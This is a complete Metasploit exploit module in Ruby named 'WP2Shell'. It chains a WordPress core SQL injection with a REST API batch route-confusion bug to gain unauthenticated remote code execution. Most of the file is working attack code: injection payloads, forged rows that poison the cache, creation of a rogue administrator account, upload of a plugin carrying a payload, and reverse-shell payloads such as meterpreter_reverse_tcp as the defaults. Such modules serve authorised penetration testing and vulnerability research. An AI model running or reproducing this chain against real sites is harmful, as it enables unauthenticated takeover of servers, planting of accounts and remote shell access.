📄 WordPress WP2Shell SQL Injection / Remote Code Execution

# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    # WP2Shell unauthenticated WordPress core SQLi-to-RCE exploit module.
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      # Raised when a batch/SQLi response cannot be delivered or decoded.
      class WordPressBatchDesyncError < RuntimeError; end
    
      include Msf::Payload::Php
      include Msf::Auxiliary::Report
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
      include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
    
      prepend Msf::Exploit::Remote::AutoCheck
    
      # Static timestamp used for every forged wp_posts row.
      POST_DATE = '2020-01-01 00:00:00'
      # High base value for the transient (non-cached) loop-partner post IDs.
      FAKE_ID_BASE = 1_800_000_000
      # oEmbed shortcode dimensions; must match EMBED_ATTRS_SERIALIZED below.
      EMBED_WIDTH = '500'
      EMBED_HEIGHT = '750'
      # PHP-serialized {width:500,height:750}, part of the oembed_cache post_name hash.
      EMBED_ATTRS_SERIALIZED = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
    
      def initialize(info = {})
        wp_username = "wp_svc_#{Faker::Internet.username(specifier: 5..8).gsub(/[^a-zA-Z0-9]/, '').downcase}"
    
        super(
          update_info(
            info,
            'Name' => 'WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE',
            'AKA' => ['WP2Shell'],
            'Description' => %q{
              This module chains two WordPress core vulnerabilities, together known as
              WP2Shell, to gain unauthenticated remote code execution against default
              installs of WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1.
              The vulnerabilities are fixed in WordPress 6.9.5 and 7.0.2.
    
              CVE-2026-60137 is an SQL injection in WP_Query's author__not_in parameter, and
              CVE-2026-63030 is a REST API batch endpoint route-confusion bug that lets an
              unauthenticated request reach that injection.
    
              The module uses the injection to read the database table prefix and the
              administrator user ID, poisons WordPress' object cache to publish a crafted
              customizer changeset, and re-enters the REST API with administrator privileges
              to create a new administrator account. It then logs in as that account, uploads
              a plugin containing a Metasploit payload, and executes it for a session. Once a
              session is obtained the uploaded plugin is removed, and the created administrator
              account is removed as well unless KeepAdmin is set.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Adam Kues', # CVE-2026-63030 discovery (Assetnote / Searchlight Cyber, aka hashkitten)
              'TF1T',      # CVE-2026-60137 discovery
              'dtro',      # CVE-2026-60137 discovery
              'haongo',    # CVE-2026-60137 discovery
              'Crypto-Cat' # Metasploit module
            ],
            'References' => [
              ['CVE', '2026-63030'],
              ['CVE', '2026-60137'],
              ['URL', 'https://wordpress.org/news/2026/07/wordpress-7-0-2-release/'],
              ['URL', 'https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/'],
              ['URL', 'https://github.com/Crypto-Cat/wp2shell'],
              ['URL', 'https://wp2shell.com/']
            ],
            'DisclosureDate' => '2026-07-17',
            'Privileged' => false,
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter_reverse_tcp',
                    'EXTENSIONS' => 'stdapi'
                  }
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('WP_USER', [true, 'Username for the administrator account to create', wp_username]),
            OptString.new('WP_PASS', [true, 'Password for the administrator account to create', Faker::Internet.password(min_length: 20, max_length: 24)]),
            OptString.new('WP_EMAIL', [true, 'Email for the administrator account to create', Faker::Internet.email(name: wp_username)])
          ]
        )
    
        register_advanced_options(
          [
            OptString.new('TablePrefix', [false, 'WordPress DB table prefix (auto-discovered when blank)', '']),
            OptInt.new('WpAdminId', [false, 'Existing administrator user ID used for changeset ownership (auto-discovered when 0)', 0]),
            OptBool.new('KeepAdmin', [false, 'Keep the administrator account created during exploitation (by default it is removed once a session is obtained)', false])
          ]
        )
      end
    
      def check
        @batch_endpoint = nil
        @union_marker = nil
        @wordpress_service = nil
    
        return CheckCode::Unknown('Target is not online or not running WordPress') unless wordpress_and_online?
    
        wp_version = wordpress_version
        print_status("WordPress version: #{wp_version}") if wp_version
    
        if wp_version && !version_in_range?(wp_version)
          return CheckCode::Safe("WordPress #{wp_version} is outside the vulnerable range (6.9.0-6.9.4, 7.0.0-7.0.1)")
        end
    
        negotiate_batch_endpoint
        return CheckCode::Unknown('REST API batch endpoint did not respond as expected') if @batch_endpoint.nil?
    
        @wordpress_service ||= report_wordpress_service
    
        # In-band UNION extraction is what the RCE chain relies on (the forged cache
        # rows must survive as one query), so confirming it is what earns Vulnerable.
        create_sqli_instance
        begin
          if @sqli.test_vulnerable
            return CheckCode::Vulnerable(
              'Confirmed batch route-confusion SQL injection (in-band UNION)',
              vuln: { service: @wordpress_service }
            )
          end
        rescue WordPressBatchDesyncError => e
          vprint_error(e.message)
        end
    
        # A boolean oracle proves the injection (CVE-2026-60137), but this RCE module
        # is not exploitable unless the forged UNION rows survive into the cache.
        # Safe prevents AutoCheck from proceeding with a chain known not to work;
        # users can still override it with ForceExploit.
        if boolean_oracle_vulnerable?
          return CheckCode::Safe('SQL injection confirmed via boolean-blind oracle, but in-band UNION rows do not survive; the WP2Shell RCE chain is not exploitable (persistent object cache?)')
        end
    
        if wp_version
          CheckCode::Appears("WordPress #{wp_version} is in the vulnerable range but injection could not be confirmed")
        else
          CheckCode::Detected('REST API batch endpoint is present but injection could not be confirmed')
        end
      end
    
      def exploit
        unless datastore['AutoCheck']
          @batch_endpoint = nil
          @union_marker = nil
          @wordpress_service = nil
        end
        @created_admin = false
        @admin_cleanup = nil
    
        negotiate_batch_endpoint
        fail_with(Failure::NotFound, 'REST API batch endpoint is not available') if @batch_endpoint.nil?
        @wordpress_service ||= report_wordpress_service
    
        create_sqli_instance
        begin
          prefix = discover_prefix
          admin_id = discover_admin_id(prefix)
          ensure_admin_username_available!(prefix)
    
          embed_url = find_embed_url
          fail_with(Failure::NoTarget, 'No published post or page found; the target needs at least one for oEmbed') if embed_url.nil?
          print_status("Using oEmbed trigger post: #{embed_url}")
    
          token = Rex::Text.rand_text_hex(6)
    
          print_status('Seeding oEmbed cache posts...')
          seed_oembed(embed_url, token)
    
          cache_ids = extract_cache_ids(embed_url, token, prefix)
          fail_with(Failure::UnexpectedReply, 'Could not locate the seeded oembed_cache posts (persistent object cache?)') if cache_ids.nil?
          print_good("oEmbed cache post IDs: #{cache_ids.join(', ')}")
    
          print_status("Triggering escalation chain to create administrator '#{datastore['WP_USER']}'...")
          unless escalate(cache_ids, embed_url, token, admin_id)
            fail_with(Failure::NoAccess, 'Privilege escalation / user creation failed')
          end
          @created_admin = true
          print_good('Administrator account created via changeset re-entry')
        rescue WordPressBatchDesyncError => e
          fail_with(Failure::UnexpectedReply, e.message)
        end
    
        cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
        fail_with(Failure::NoAccess, 'Login as the created administrator failed') if cookie.nil?
        @admin_cleanup = { cookie: cookie, prefix: prefix, admin_id: admin_id }
        report_admin
        print_good("Authenticated as the created administrator '#{datastore['WP_USER']}'")
    
        upload_and_execute_payload(cookie)
      end
    
      def on_new_session(session)
        super
    
        return unless @created_admin && @admin_cleanup
    
        @created_admin = false if remove_created_admin(**@admin_cleanup)
      end
    
      def cleanup
        return unless @created_admin && @admin_cleanup
    
        @created_admin = false if remove_created_admin(**@admin_cleanup)
      ensure
        super
      end
    
      # Builds the in-band SQLi object. The query proc receives a complete SELECT
      # statement from the engine, wraps it as a scalar subquery inside a forged
      # wp_posts row's title, delivers it through the batch desync, and returns the
      # decoded result.
      def create_sqli_instance
        @sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |query|
          union_extract(query)
        end
      end
    
      def union_extract(query)
        title_expr = "concat(0x#{union_marker.unpack1('H*')},hex(cast((#{query}) as char)))"
        decode_union(union_inject(forge_scalar_row(title_expr)))
      end
    
      def discover_prefix
        configured = datastore['TablePrefix'].to_s
        unless configured.empty?
          fail_with(Failure::BadConfig, 'TablePrefix may only contain letters, numbers, and underscores') unless configured.match?(/\A[A-Za-z0-9_]+\z/)
    
          return configured
        end
    
        prefix = wordpress_sqli_identify_table_prefix
        fail_with(Failure::NotFound, 'Could not discover the WordPress database table prefix') if prefix.nil? || prefix.empty?
    
        print_good("Discovered table prefix: #{prefix}")
        prefix
      end
    
      def discover_admin_id(prefix)
        configured = datastore['WpAdminId'].to_i
        return configured if configured > 0
    
        result = @sqli.run_sql(
          "select u.ID from #{prefix}users u " \
          "inner join #{prefix}usermeta m on u.ID=m.user_id " \
          "where m.meta_key='#{prefix}capabilities' " \
          "and m.meta_value like '%administrator%' order by u.ID limit 1"
        )
        admin_id = positive_integer(result)
        if admin_id
          print_good("Discovered administrator user ID: #{admin_id}")
          return admin_id
        end
        fail_with(Failure::NotFound, 'Could not discover an existing WordPress administrator user ID')
      end
    
      def ensure_admin_username_available!(prefix)
        user_count = integer(
          @sqli.run_sql("select count(1) from #{prefix}users where user_login=#{sql_hex(datastore['WP_USER'])}")
        )
        fail_with(Failure::UnexpectedReply, 'Could not determine whether WP_USER already exists') if user_count.nil? || user_count.negative?
        return if user_count.zero?
    
        fail_with(Failure::BadConfig, "WP_USER '#{datastore['WP_USER']}' already exists; choose a unique username to prevent deleting a pre-existing account")
      end
    
      # Delivers a forged post whose content holds four [embed] shortcodes. When the
      # posts controller renders it, WordPress resolves each embed locally and writes
      # an oembed_cache post we can later address by its deterministic post_name.
      def seed_oembed(embed_url, token)
        urls = (0..3).map { |i| "#{embed_url}##{token}#{i}" }
        content = urls.map { |u| embed_shortcode(u) }.join
        union_inject(sql_post_row(0, content: content))
      end
    
      def extract_cache_ids(embed_url, token, prefix)
        ids = []
        (0..3).each do |i|
          key = oembed_cache_key("#{embed_url}##{token}#{i}")
          value = @sqli.run_sql(
            "select ID from #{prefix}posts " \
            "where post_type='oembed_cache' and post_name='#{key}' limit 1"
          )
          pid = positive_integer(value)
          return nil if pid.nil?
    
          ids << pid
        end
        ids
      end
    
      def escalate(cache_ids, embed_url, token, admin_id)
        graph = build_poison_graph(cache_ids, admin_id)
        changeset_json = build_changeset(graph)
        rows = build_poison_rows(graph, changeset_json, "#{embed_url}##{token}1")
    
        user_body = {
          'username' => datastore['WP_USER'],
          'password' => datastore['WP_PASS'],
          'email' => datastore['WP_EMAIL'],
          'roles' => ['administrator']
        }
    
        # This request performs multiple nested REST callbacks, so allow the full
        # escalation graph enough time to complete before checking the login.
        res = union_inject(
          rows,
          tail_requests: [{ 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => user_body }],
          timeout: 60
        )
        return true if user_creation_confirmed?(res)
    
        # The die() inside the re-entry can abort the batch response before the 201
        # is serialised, so fall back to confirming via a login attempt.
        !wordpress_login(datastore['WP_USER'], datastore['WP_PASS']).nil?
      end
    
      # Assigns the four cached post IDs and two transient IDs to their roles in the
      # two hierarchy loops. cache_ids order: [changeset, oembed, navitem, reentry].
      def build_poison_graph(cache_ids, admin_id)
        base = FAKE_ID_BASE + rand(100_000_000)
        {
          changeset_id: cache_ids[0],
          oembed_id: cache_ids[1],
          navitem_id: cache_ids[2],
          reentry_id: cache_ids[3],
          outer_id: base,
          inner_id: base + 1,
          admin_id: admin_id
        }
      end
    
      # The customizer changeset JSON stored in the forged changeset post_content.
      # A positive nav_menu_item id drives the UPDATE path whose hierarchy check
      # detects the second loop and fires the parse_request re-entry.
      def build_changeset(graph)
        {
          "nav_menu_item[#{graph[:navitem_id]}]" => {
            'value' => {
              'object_id' => graph[:inner_id],
              'object' => 'post',
              'menu_item_parent' => 0,
              'position' => 1,
              'type' => 'post_type',
              'title' => '',
              'url' => '',
              'description' => '',
              'attr_title' => '',
              'target' => '',
              'classes' => '',
              'xfn' => '',
              'status' => 'publish',
              'nav_menu_term_id' => 0,
              '_invalid' => false
            },
            'type' => 'nav_menu_item',
            'user_id' => graph[:admin_id]
          }
        }.to_json
      end
    
      # The seven forged wp_posts rows that poison the object cache.
      def build_poison_rows(graph, changeset_json, embed_url)
        # Anti-recursion guard: only the first read returns the real oembed id, so
        # the chain fires exactly once instead of looping on re-entry.
        oembed_id_expr = "IF((@_wp2s:=IFNULL(@_wp2s,0)+1)=1,#{graph[:oembed_id]},2000000000)"
    
        rows = [
          # Trigger: [embed] shortcode content, rendered by the_content.
          sql_post_row(0, content: embed_shortcode(embed_url)),
          # Changeset: future+past date auto-publishes -> privilege escalation.
          sql_post_row(graph[:changeset_id], content: changeset_json, status: 'future',
                                             slug: SecureRandom.uuid, parent: graph[:outer_id], post_type: 'customize_changeset'),
          # Outer loop partner (parent=changeset) creates loop 1.
          sql_post_row(graph[:outer_id], status: 'draft', parent: graph[:changeset_id]),
          # oEmbed target: empty content -> cache fallthrough -> wp_update_post.
          sql_post_row(oembed_id_expr, parent: graph[:changeset_id]),
          # Nav menu item: poisoned type so is_nav_menu_item() enters the UPDATE path.
          sql_post_row(graph[:navitem_id], post_type: 'nav_menu_item'),
          # Re-entry post: type=request + status=parse fires the parse_request hook.
          sql_post_row(graph[:reentry_id], status: 'parse',
                                           parent: graph[:inner_id], post_type: 'request'),
          # Inner loop partner (parent=reentry) creates loop 2.
          sql_post_row(graph[:inner_id], status: 'draft', parent: graph[:reentry_id])
        ]
        rows.join(' UNION ALL ')
      end
    
      def user_creation_confirmed?(res)
        nested_batch_responses(res).any? { |response| response.is_a?(Hash) && response['status'] == 201 }
      rescue WordPressBatchDesyncError => e
        vprint_error(e.message)
        false
      end
    
      def upload_and_execute_payload(cookie)
        plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(6).downcase}"
        payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(6).downcase}"
        zip = generate_plugin(plugin_name, payload_name)
    
        print_status('Uploading plugin containing the payload...')
        fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless wordpress_upload_plugin(plugin_name, zip.pack, cookie)
    
        payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
        register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
        register_dir_for_cleanup("../#{plugin_name}")
    
        print_status("Executing payload at #{payload_uri}...")
        # Fire-and-forget: the request that triggers the payload will block until the
        # session is set up, so use a short timeout rather than waiting on the body.
        send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
      end
    
      # The WordPress mixin calls this as soon as it confirms the application. Keep
      # the application service distinct from its HTTP and transport layers so all
      # subsequently reported data can be linked to the same service record.
      def report_wordpress_service
        common = { host: rhost, port: rport, proto: 'tcp' }
        transport = common.merge(name: 'tcp', parents: nil)
        transport = common.merge(name: 'ssl', parents: transport) if ssl
    
        @wordpress_service = report_service(
          common.merge(
            name: 'WordPress',
            resource: { uri: normalize_uri(target_uri.path) },
            parents: common.merge(name: ssl ? 'https' : 'http', parents: transport)
          )
        )
      end
    
      # AutoCheck reports the vulnerability after #check returns. Associate that
      # report with the application service instead of the first same-port parent.
      def report_vuln(opts = {})
        super(opts.merge(service: opts[:service] || @wordpress_service))
      end
    
      def report_admin
        print_good("Administrator credentials: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")
    
        credential_data = {
          workspace_id: myworkspace_id,
          origin_type: :service,
          module_fullname: fullname,
          username: datastore['WP_USER'],
          private_type: :password,
          private_data: datastore['WP_PASS'],
          service_name: 'WordPress',
          address: rhost,
          port: rport,
          protocol: 'tcp',
          access_level: 'administrator',
          status: Metasploit::Model::Login::Status::SUCCESSFUL,
          last_attempted_at: Time.now
        }
        credential_data[:service_id] = @wordpress_service.id if @wordpress_service
        create_credential_and_login(credential_data)
    
        store_loot(
          'wordpress.admin.created',
          'text/plain',
          datastore['RHOST'],
          "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n",
          'wp_admin_credentials.txt',
          'WordPress Created Admin Credentials',
          @wordpress_service
        )
    
        report_vuln(
          host: datastore['RHOST'],
          port: datastore['RPORT'],
          proto: 'tcp',
          service: @wordpress_service,
          name: name,
          refs: references,
          info: 'Unauthenticated admin creation via REST batch route-confusion chain'
        )
      end
    
      # Removes the administrator account created during exploitation. The session
      # runs as the web-server user and is independent of this account, so deleting
      # it removes the loudest artifact of the chain without affecting the session.
      def remove_created_admin(cookie:, prefix:, admin_id:)
        if datastore['KeepAdmin']
          print_warning("KeepAdmin is set; the administrator account '#{datastore['WP_USER']}' remains on the target.")
          return true
        end
    
        user_id = positive_integer(
          @sqli.run_sql("select ID from #{prefix}users where user_login=#{sql_hex(datastore['WP_USER'])} limit 1")
        )
        nonce = wordpress_rest_nonce(cookie)
        if user_id.nil? || nonce.nil?
          print_warning("Could not prepare cleanup of '#{datastore['WP_USER']}'; remove the account manually.")
          return false
        end
    
        res = rest_request(
          'DELETE', "/wp/v2/users/#{user_id}",
          'cookie' => cookie,
          'headers' => { 'X-WP-Nonce' => nonce },
          'vars_get' => { 'force' => 'true', 'reassign' => admin_id.to_s }
        )
        if res && res.code == 200
          print_good("Removed the created administrator account '#{datastore['WP_USER']}'")
          true
        else
          print_warning("Failed to remove '#{datastore['WP_USER']}' (HTTP #{res&.code || 'no response'}); remove the account manually.")
          false
        end
      rescue WordPressBatchDesyncError => e
        print_warning("Cleanup of '#{datastore['WP_USER']}' failed (#{e.message}); remove the account manually.")
        false
      end
    
      # Scrapes the wp_rest nonce that wp-admin embeds for authenticated REST calls.
      def wordpress_rest_nonce(cookie)
        res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(wordpress_url_backend, 'profile.php'), 'cookie' => cookie)
        return nil unless res && res.code == 200
    
        script_content = res.get_html_document.css('script').map(&:text).join("\n")
        script_content[/wpApiSettings\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-f0-9]+)"/m, 1] ||
          script_content[/createNonceMiddleware\(\s*["']([a-f0-9]+)["']\s*\)/, 1]
      end
    
      # Issues a REST request using whichever endpoint style the batch probe found
      # (pretty permalinks vs the ?rest_route= fallback).
      def rest_request(method, route, opts = {})
        if @batch_endpoint && @batch_endpoint['vars_get']
          vars_get = (opts['vars_get'] || {}).merge('rest_route' => route)
          send_request_cgi(opts.merge('method' => method, 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get))
        else
          segments = route.split('/').reject(&:empty?)
          send_request_cgi(opts.merge('method' => method, 'uri' => normalize_uri(target_uri.path, 'wp-json', *segments)))
        end
      end
    
      # Determines whether the batch endpoint is reachable via pretty permalinks
      # (/wp-json/batch/v1) or the ?rest_route= fallback, and caches the request
      # parameters used for every subsequent batch call.
      def negotiate_batch_endpoint
        return @batch_endpoint unless @batch_endpoint.nil?
    
        pretty = { 'uri' => normalize_uri(target_uri.path, 'wp-json', 'batch', 'v1') }
        if batch_response?(send_request_cgi(pretty.merge('method' => 'POST', 'ctype' => 'application/json', 'data' => '{"requests":[]}')))
          vprint_status('Batch endpoint: /wp-json/batch/v1 (pretty permalinks)')
          return @batch_endpoint = pretty
        end
    
        fallback = { 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'rest_route' => '/batch/v1' } }
        if batch_response?(send_request_cgi(fallback.merge('method' => 'POST', 'ctype' => 'application/json', 'data' => '{"requests":[]}')))
          vprint_status('Batch endpoint: /?rest_route=/batch/v1 (fallback)')
          return @batch_endpoint = fallback
        end
    
        nil
      end
    
      # Accept a valid batch envelope even if a proxy/WAF rewrites the usual HTTP 207
      # status code.
      def batch_response?(res)
        return false unless res
    
        doc = res.get_json_document
        doc.is_a?(Hash) && doc['responses'].is_a?(Array)
      end
    
      def send_batch(payload, timeout = nil)
        negotiate_batch_endpoint
        raise WordPressBatchDesyncError, 'REST API batch endpoint is not available' if @batch_endpoint.nil?
    
        request = @batch_endpoint.merge(
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => payload.to_json
        )
        res = if timeout.nil?
                send_request_cgi(request)
              else
                send_request_cgi(request, timeout)
              end
        raise WordPressBatchDesyncError, 'No response from the batch endpoint' if res.nil?
    
        res
      end
    
      # Boolean oracle: the injected condition decides whether the inner users query
      # returns a row, which we observe through the doubly-nested batch response.
      def blind_inject(condition, timeout: nil)
        send_batch(blind_payload("0) AND (#{condition})-- -"), timeout)
      end
    
      # UNION injection through the widgets->posts cross-schema desync. per_page=500
      # disables split_the_query so the forged rows survive into the result set.
      def union_inject(rows, tail_requests: nil, timeout: nil)
        sqli = "0) AND 1=0 UNION ALL #{rows}#{"\n-- " * 6}"
        send_batch(union_payload(sqli, tail_requests), timeout)
      end
    
      def blind_payload(sqli)
        inner = {
          'requests' => [
            desync_primer,
            { 'method' => 'GET', 'path' => "/wp/v2/users?author_exclude=#{uri_encode(sqli)}" },
            { 'method' => 'GET', 'path' => '/wp/v2/posts' },
            { 'method' => 'GET', 'path' => '/wp/v2/categories' }
          ]
        }
        outer_batch(inner)
      end
    
      def union_payload(sqli, tail_requests)
        inner = [
          desync_primer,
          { 'method' => 'GET', 'path' => "/wp/v2/widgets?author_exclude=#{uri_encode(sqli)}&per_page=500&orderby=none" },
          { 'method' => 'GET', 'path' => '/wp/v2/posts' },
          { 'method' => 'GET', 'path' => '/wp/v2/categories' }
        ]
        if tail_requests
          inner.concat(tail_requests)
          inner << { 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => {} }
        end
        outer_batch({ 'requests' => inner })
      end
    
      # Wraps an inner batch so the outer desync dispatches it through the posts
      # handler, which re-parses the body as a nested batch.
      def outer_batch(inner)
        {
          'requests' => [
            desync_primer,
            { 'method' => 'POST', 'path' => '/wp/v2/posts', 'body' => inner },
            { 'method' => 'POST', 'path' => '/batch/v1', 'body' => { 'requests' => [] } }
          ]
        }
      end
    
      def desync_primer
        { 'method' => 'POST', 'path' => '///' }
      end
    
      def decode_union(res)
        body = res&.body.to_s
        idx = body.index(union_marker)
        return nil if idx.nil?
    
        hex = body[(idx + union_marker.length)..][/\A\h*/]
        return '' if hex.nil? || hex.empty?
        return nil if hex.length.odd?
    
        [hex].pack('H*').force_encoding('UTF-8').scrub
      end
    
      def boolean_oracle_vulnerable?
        oracle('1=1') && !oracle('1=2')
      rescue WordPressBatchDesyncError => e
        vprint_error(e.message)
        false
      end
    
      def oracle(condition)
        responses = nested_batch_responses(blind_inject(condition))
        response = responses[1]
        return false unless response.is_a?(Hash)
    
        body = response['body']
        body.is_a?(Array) && !body.empty?
      end
    
      def version_in_range?(version)
        v = Rex::Version.new(version)
        v.between?(Rex::Version.new('6.9.0'), Rex::Version.new('6.9.4')) ||
          v.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.1'))
      end
    
      def nested_batch_responses(res)
        raise WordPressBatchDesyncError, 'No batch response received' if res.nil?
    
        outer_responses = batch_responses(res.get_json_document, 'outer')
        nested_response = outer_responses[1]
        unless nested_response.is_a?(Hash) && nested_response['body'].is_a?(Hash)
          raise WordPressBatchDesyncError, 'Malformed outer batch response envelope'
        end
    
        batch_responses(nested_response['body'], 'inner')
      end
    
      def batch_responses(doc, level)
        responses = doc.is_a?(Hash) ? doc['responses'] : nil
        return responses if responses.is_a?(Array)
    
        raise WordPressBatchDesyncError, "Malformed #{level} batch response envelope"
      end
    
      def positive_integer(value)
        parsed = integer(value)
        parsed if parsed&.positive?
      end
    
      def integer(value)
        Integer(value.to_s, 10, exception: false)
      end
    
      # Random marker rendered into the forged post_title so UNION output can be recovered
      # from the response body regardless of JSON/HTML encoding around it.
      def union_marker
        @union_marker ||= Rex::Text.rand_text_hex(16)
      end
    
      def embed_shortcode(url)
        "[embed width=\"#{EMBED_WIDTH}\" height=\"#{EMBED_HEIGHT}\"]#{url}[/embed]"
      end
    
      # post_name of the oembed_cache entry WordPress writes for a given embed URL.
      def oembed_cache_key(url)
        Rex::Text.md5(url + EMBED_ATTRS_SERIALIZED)
      end
    
      # Percent-encodes every byte outside the RFC 3986 unreserved set, including
      # newlines and slashes. Rex::Text.uri_encode('hex-all') leaves 0x0A intact,
      # and a raw newline in the sub-request path breaks WordPress' query parsing.
      def uri_encode(str)
        str.b.gsub(/[^A-Za-z0-9_.\-~]/) { |c| format('%%%02X', c.ord) }
      end
    
      def sql_hex(str)
        return "''" if str.nil? || str.empty?
    
        '0x' + str.unpack1('H*')
      end
    
      # Emits one SELECT clause matching the wp_posts schema. row_id may be an integer
      # or a raw SQL expression (used for the dynamic oEmbed id). Recognised opts:
      # :content, :title, :status, :slug, :parent, :post_type, :author.
      def sql_post_row(row_id, opts = {})
        content = opts[:content].to_s
        title = opts[:title] || Rex::Text.rand_text_hex(8)
        status = opts[:status] || 'publish'
        slug = opts[:slug] || "r#{Rex::Text.rand_text_hex(3)}"
        parent = opts[:parent] || 0
        post_type = opts[:post_type] || 'post'
        author = opts[:author] || 1
        columns = [
          row_id.to_s, author.to_s, "'#{POST_DATE}'", "'#{POST_DATE}'",
          sql_hex(content), sql_hex(title), "''", sql_hex(status),
          "'closed'", "'closed'", "''", sql_hex(slug), "''", "''",
          "'#{POST_DATE}'", "'#{POST_DATE}'", "''", parent.to_s, "''",
          '0', sql_hex(post_type), "''", '0'
        ]
        'SELECT ' + columns.join(',')
      end
    
      # A single forged wp_posts row whose title carries the UNION-extracted value.
      def forge_scalar_row(title_expr)
        columns = [
          '99999999', '1', "'#{POST_DATE}'", "'#{POST_DATE}'", "''",
          title_expr, "''", "'publish'", "'closed'", "'closed'", "''",
          sql_hex("u#{Rex::Text.rand_text_hex(4)}"), "''", "''",
          "'#{POST_DATE}'", "'#{POST_DATE}'", "''", '0', "''", '0',
          "'post'", "''", '0'
        ]
        'SELECT ' + columns.join(',')
      end
    
      # Locates a published post or page whose canonical URL can drive local oEmbed
      # resolution. Tries posts first, then falls back to pages (WordPress always
      # creates a "Sample Page" on install).
      def find_embed_url
        %w[posts pages].each do |type|
          res = rest_request(
            'GET', "/wp/v2/#{type}",
            'vars_get' => { 'per_page' => '1', '_fields' => 'link' }
          )
          next unless res && res.code == 200
    
          doc = res.get_json_document
          return doc[0]['link'] if doc.is_a?(Array) && doc[0].is_a?(Hash) && doc[0]['link']
        end
    
        nil
      end
    end